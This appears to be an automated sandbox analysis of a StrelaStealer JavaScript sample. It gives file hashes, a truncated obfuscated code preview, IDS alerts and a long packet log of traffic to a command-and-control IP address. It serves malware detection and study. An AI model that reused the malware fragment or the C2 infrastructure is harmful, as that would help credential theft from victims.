MD5:	c3ada3d7602e0b4792c0122bc93278c7
SHA1:	6cf27ffdf3d3b3bd165c572cd28c9c23cd3884d3
SHA256:	dd0eef6807cb3df884f71a23c2f3a7c726f996fa7acab7b52d837330bed34f7f
SHA512:	bedb1b6ec053f8e22e02aab3efc20d1a73d105a8d0b4053a84bb4c63bc23ffa25fecdbdcd723a5e39aa441eb7cab3f1a0a0dbb4910ebbfe5d64836f92adfc6fb
SSDEEP:	192:ttqBTKpvT2lUmmUDO9o8zU+vffmjWB8awXFr2ZXLy:tklaiuoX++jWA
TLSH:	60229548FC11DA1BCAD1FCDAC0828172B58F90F5539C3AB69D537A56801B89DD4FA0BB
File Content Preview:	function tbgrfdr(){this[pogkedf+nbeuqfzi+pzuyebrw+cbywdfm]("guwkocdhs=[1031,3079,5127,4103,2055,3072];var fkriesve=this[yhwymoz+pzuyebrw+rtrsgvxa+hrwvxlv+pogkedf+zmndts+nzdrext+fxjmd](this[ksgyr+odxgsgkd+ojfklz+rtrsgvxa+qmrltqv+yhwymoz+fxjmd][rskcebr+rtrs

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-13T14:57:01.506839+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49709	193.143.1.205	80	TCP
2025-01-13T14:57:01.506839+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49709	193.143.1.205	80	TCP
2025-01-13T14:57:04.186844+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49710	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 14:57:00.702635050 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:00.707493067 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:00.707578897 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:00.710704088 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:00.715588093 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.506706953 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.506727934 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.506745100 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.506759882 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.506777048 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.506791115 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.506809950 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.506824017 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.506839991 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.506839037 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.506853104 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.506876945 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.506886005 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.550980091 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.551008940 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.551023960 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.551080942 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.626106024 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.626158953 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.626177073 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.626188993 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.626200914 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.626230955 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.626280069 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.626535892 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.626557112 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.626605034 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.626780033 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.626791954 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.626802921 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.626821995 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.626835108 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.627259016 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.627269983 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.627281904 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.627293110 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.627300024 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.627305031 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.627329111 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.628053904 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.628067017 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.628077984 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.628089905 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.628101110 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.628103018 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.628139973 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.641499996 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.641513109 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.641570091 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.674225092 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.674278975 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.674290895 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.674298048 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.674330950 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.674372911 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.716695070 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.716710091 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.716784000 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.747754097 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.747767925 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.747848034 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.747945070 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.747956038 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.747967958 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.747996092 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.748075008 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.748096943 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.748106956 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.748112917 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.748135090 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.748439074 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.748451948 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.748464108 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.748472929 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.748492002 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.748516083 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.748789072 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.748802900 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.748852015 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.749053001 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.749063969 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.749077082 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.749087095 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.749099970 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.749100924 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.749110937 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.749119997 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.749121904 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.749141932 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.749847889 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.749859095 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.749866009 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.749876022 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.749887943 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.749898911 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.749906063 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.749917030 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.749928951 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.749934912 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.749964952 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.750643015 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.750682116 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.750714064 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.750736952 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.750749111 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.750760078 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.750768900 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.750771046 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.750782013 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.750794888 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.750813961 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.750833035 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.751655102 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.751665115 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.751703024 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.762851000 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.762864113 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.762876987 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.762887955 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.762927055 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.762953043 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.794023037 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.794038057 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.794081926 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.794095039 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.794105053 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.794115067 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.794131994 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.794156075 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.794302940 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.794312954 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.794347048 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.794354916 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.794357061 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.794390917 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.838401079 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.838412046 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.838450909 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.838463068 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.838474989 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.838521004 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.838573933 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.869935036 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.869947910 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.869960070 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.869971037 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.869982958 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.870037079 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.870086908 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.870107889 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.870119095 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.870162964 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.870280027 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.870290995 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.870304108 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.870316029 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.870323896 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.870331049 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.870349884 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.870461941 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.870474100 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.870485067 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.870496988 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.870502949 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.870507956 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.870520115 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.870531082 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.870536089 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.870560884 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.870575905 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.870625019 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.871516943 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.871531963 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.871543884 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.871555090 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.871566057 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.871567011 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.871577024 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.871587992 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.871596098 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.871598959 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.871612072 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.871622086 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.871630907 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.872004032 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.872015953 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.872026920 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.872028112 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.872040033 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.872045040 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.872076988 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.872155905 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.872169018 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.872181892 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.872189045 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.872251034 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.872699976 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.872711897 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.872723103 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.872735023 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.872744083 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.872746944 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.872760057 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.872771978 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.872781038 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.872805119 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.872862101 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.872874022 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.872885942 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.872896910 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.872900963 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.872909069 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.872920990 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.872926950 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.872962952 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.873747110 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.873759985 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.873770952 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.873783112 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.873794079 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.873805046 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.873816013 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.873817921 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.873827934 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.873845100 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.873856068 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.873867035 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.873868942 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.873868942 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.873878956 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.873882055 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.873892069 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.873915911 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.873946905 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.874728918 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.874742031 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.874752998 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.874763966 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.874775887 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.874799967 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.887043953 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.887058020 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.887072086 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.887083054 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.887095928 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.887106895 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.887119055 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.887156010 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.887197971 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.887218952 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.887229919 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.887281895 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.887281895 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.916238070 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.916304111 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.926206112 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.926218987 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.926238060 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.926280975 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.928981066 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.928992987 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.929006100 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.929023027 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.929024935 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.929035902 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.929048061 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.929052114 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.929059982 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.929115057 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.929115057 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.929179907 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.929198027 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.929239988 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.960355997 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.960411072 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.960423946 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.960436106 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.960460901 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.960489988 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.960500002 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.960511923 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.960525036 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.960536957 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.960549116 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.960560083 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.960592985 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.960597992 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.960618973 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.960629940 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.960640907 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.960650921 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.960686922 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.971870899 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.991328001 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.991338968 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.991405010 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.991405964 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.991414070 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.991432905 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.991441965 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.991451979 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.991471052 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.991477966 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.991489887 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.991502047 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.991509914 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.991539955 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.991640091 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.991651058 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.991662025 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.991674900 CET	80	49709	193.143.1.205	192.168.2.8
Jan 13, 2025 14:57:01.991686106 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.991714954 CET	49709	80	192.168.2.8	193.143.1.205
Jan 13, 2025 14:57:01.991818905 CET	80	49709	193.143.1.205	192.168.2.8
